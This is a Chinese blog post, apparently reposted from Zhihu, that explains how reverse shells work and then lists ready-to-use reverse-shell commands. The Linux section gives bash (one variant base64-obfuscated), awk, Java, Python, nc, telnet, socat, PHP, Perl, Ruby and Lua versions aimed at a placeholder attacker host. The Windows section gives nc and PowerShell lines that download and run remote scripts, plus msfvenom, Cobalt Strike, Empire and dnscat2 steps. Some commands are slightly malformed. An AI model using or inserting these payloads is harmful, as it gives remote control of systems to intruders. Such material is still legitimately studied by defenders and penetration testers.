反弹shell原理和常见反弹shell方式
反弹shell原理和常见反弹shell方式
此文用于自我学习,文章来源https://zhuanlan.zhihu.com/p/446210083(知乎),在原文章基础上做了少部分修改。
1、先介绍shell,就是相当于windows得DOS界面,为用户提供一个输入界面,来接收命令。shell又分交互式和非交互式,非交互式就是读取文件中得命令,文件读取完,整个命令就结束,但是如果要实现输入一些信息得界面,比如su账户时,系统会提示你输入密码,这时是无法输入系统命令得,因此就无法完成此此动作,整个动作只能是交互式才能执行。交互式是就是shell等待你得命令输入,直到选择退出,交互结束。
2、再了解下正向和反向链接
从一台hacker机器上直接链接被控机器,为正向链接;正向链接需要监听被控机器得端口开启情况,如果开启了端口,那么我就可以区连接被控得机器。
(1)在一台机器上被监听了端口,当被监测到端口开启后会发起向另外一台hacker机器远程链接得请求,
(2)但是目标主机处于内网环境是不可以被外网直接访问,只能主动将shell反弹出来.这种方式称作反弹shell,反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端,本质上是网络概念的客户端与服务端的角色反转。通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
比如:
1.目标机器的ip动态改变,你不能持续控制。(只要对方的ip地址一换,权限就会丢失.)
2.由于防火墙等限制,对方机器只能发送请求,不能接收请求。(攻击者发往目标机器的命令,被防火墙拦截无法执行,但目标机器在本地执行命令输出到攻击机器则不会受影响)
以上,这些情况下都没有办法使用常规的正向连接,让受害机器主动连接攻击机器,才是最佳的办法。
反弹shell是指控制端监听某个TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出传递到控制端的过程。
reverse shell与telnet、ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
反弹shell是打开内网通道的第一步,也是权限提升过程中至关重要的一步。
反弹shell基础
举例常见的反弹shell语句:bash -i >& /dev/tcp/VPS_IP/VPS_Port 0>&1
文件描述符
已知Linux下存在三种文件描述符:
- 0 - stdin 标准输入,使用< 或 <<
- 1 - stdout 标准输出,使用> 或 >>
- 2 - stderr 标准错误输出,使用2或者2>>
&>的含义
反弹shell中的&
没有固定含义,放在>
后面的&
,表示重定向的目标不是一个文件,而是一个文件描述符。
- 当
>&
后面接文件时,表示将标准输出和标准错误输出重定向到文件 - 当
>&
后面接文件描述符时,表示将前面的文件描述符重定向到后面的文件描述符
反弹shell语句含义
bash -i
表示在本地打开一个bash,/dev/tcp/VPS_IP/VPS_Port
中/dev/tcp/
是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>& /dev/tcp/VPS_IP/VPS_Port
表示将标准输出和标准错误输出重定向到这个文件上,即传递给远程,如果远程开启了对应端口的监听,就会接收到这个bash的标准输出和标准错误输出。
此时在本地输入命令,本地是看不到输入的内容的,因为输入设备输入的命令和输出以及错误输出的内容已经被传递到远程上。
插入图片()
0>&1
表示将标准输入重定向到标准输出,然而此时标准输出已重定向到/dev/tcp/VPS_IP/VPS_Port
这个文件,也就是远程,那么标准输入也就重定向到了远程,所以可以直接在远程输入了。
Linux下反弹shell方式
bash反弹shell
在线编码地址:
bash -i >& /dev/tcp/VPS_IP/VPS_Port 0>&1
base64版:bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'
exec 5<>/dev/tcp/VPS_IP/1234;cat <&5 | while read line; do $line 2>&5 >&5;done
exec /bin/sh 0</dev/tcp/VPS_IP/1234 1>&0 2>&0
java.lang.Runtime.exec() Payload Workaroundsbash -i >& /dev/tcp/VPS_IP/VPS_Port 0>&1
base64版:bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'
exec 5<>/dev/tcp/VPS_IP/1234;cat <&5 | while read line; do $line 2>&5 >&5;done
exec /bin/sh 0</dev/tcp/VPS_IP/1234 1>&0 2>&0
awk反弹shell
awk 'BEGIN{s="/inet/tcp/0/VPS_IP/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
Java反弹shell
public class Revs {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/VPS_IP/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}
上面文件保存为Revs.java文件,编译执行,成功反弹shell。
javac Revs.java
java Revs
python反弹shell
本地使用nc -lvp port
监听,远程使用python执行下面命令去反向连接:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('VPS_IP',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
命令通过socket与远程建立起连接,使用os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,
dup2这个方法有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个
文件强行复制给fd2,在这里可以把fd1和fd2看作是C语言里的指针,将fd1赋值给fd2,就相当于将fd2指向于
s.fileno(),fileno()返回的是一个文件描述符,在这里也就是建立socket连接返回的文件描述符,相当于将
标准输入(0)、标准输出(1)、标准错误输出(2)重定向到远程(3),接下来使用os的subprocess在本地开启一个子
进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样
的话就可以在远程执行输入命令了。
nc反弹shell
假设远程安装有nc,则可以在本地使用nc -lnvp port
监听,-n参数代表在建立连接之前不对主机进行dns解析,远程执行下面命令反向连接:
nc -e /bin/bash VPS_IP Port
-e后面跟的参数是在创建连接后执行的程序,在连接到远程后可以在远程执行一个本地shell(/bin/bash),也就是反弹一个shell给远程。
如果远程nc不支持-e参数,可以利用到linux中的管道符,管道符的作用是把管道符前的输出作为管道符后的输入。
首先本地监听两个端口:
nc -nvlp 8888
nc -nvlp 9999
然后远程执行以下命令:
nc VPS_IP 8888 | /bin/bash | VPS_IP 9999
远程的8888端口的输入设备(键盘)输入命令,将命令输出传递至本地的/bin/bash
,通过本地shell解释执行命令后,将命令执行的结果以及错误输入到远程的9999端口。
telnet反弹shell
和nc反弹shell类似,需要利用管道符。
telnet VPS_IP 1234 | /bin/bash | telnet VPS_IP 4321
socat反弹shell
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:VPS_IP:Port
php反弹shell
利用php中 exec函数执行方法反弹shell:
php- 'exec("/bin/bash -i >& /dev/tcp/VPS_IP/7777")'
使用fsockopen去连接远程:
php -r '$sock=fsockopen("VPS_IP",port);exec("/bin/bash -i <&3 >&3 2>&3");'
远程反向连接:
php -r '$sock=fsockopen("VPS_IP",7777);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
需要注意的是,php反弹shell的这些方法都需要php关闭safe_mode这个选项,才可以使用exec函数。
Perl反弹shell
perl -e 'use Socket;$i="VPS_IP";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Ruby反弹shell
ruby -rsocket -e'f=TCPSocket.open("VPS_IP",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Lua反弹shell
lua -e "require('socket');require('os');t=socket.tcp();t:connect('VPS_IP','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
Windows下反弹shell方式
nc反弹shell
netcat 下载:https://eternallybored.org/misc/netcat/
服务端反弹:nc VPS_IP 1234 -e c:\windows\system32\cmd.exe
powershell反弹
powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多。
PS C:\WWW>powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c VPS_IP -p 1234 -e cmd
下载到目标机器本地执行:
PS C:\WWW> Import-Module ./powercat.ps1
PS C:\WWW> powercat -c VPS_IP -p 1234 -e cmd
MSF反弹shell
使用msfvenom生成相关Payload
msfvenom -l payloads | grep 'cmd/windows/reverse'
msfvenom -p cmd/windows/reverse_powershell LHOST=VPS_IP LPORT=1234
Cobalt strike反弹shell
1、配置监听器:点击Cobalt Strike——>Listeners——>在下方Tab菜单Listeners,点击add。 2、生成payload:点击Attacks——>Packages——>Windows Executable,保存文件位置。 3、目标机执行powershell payload
Empire反弹shell
usestager windows/launcher_vbs
info
set Listener test
execute
nishang反弹shell
反弹TCPshell
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress VPS_IP -port 1234
反弹UDPshell
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');
Invoke-PowerShellUdp -Reverse -IPAddress VPS_IP -port 1234
Dnscat反弹shell
项目地址:
服务端:
ruby dnscat2.rb --dns "domain=lltest.com,host=xx.xx.xx.xx" --no-cache -e open -e open
目标主机:
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer xx.xx.xx.xx
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通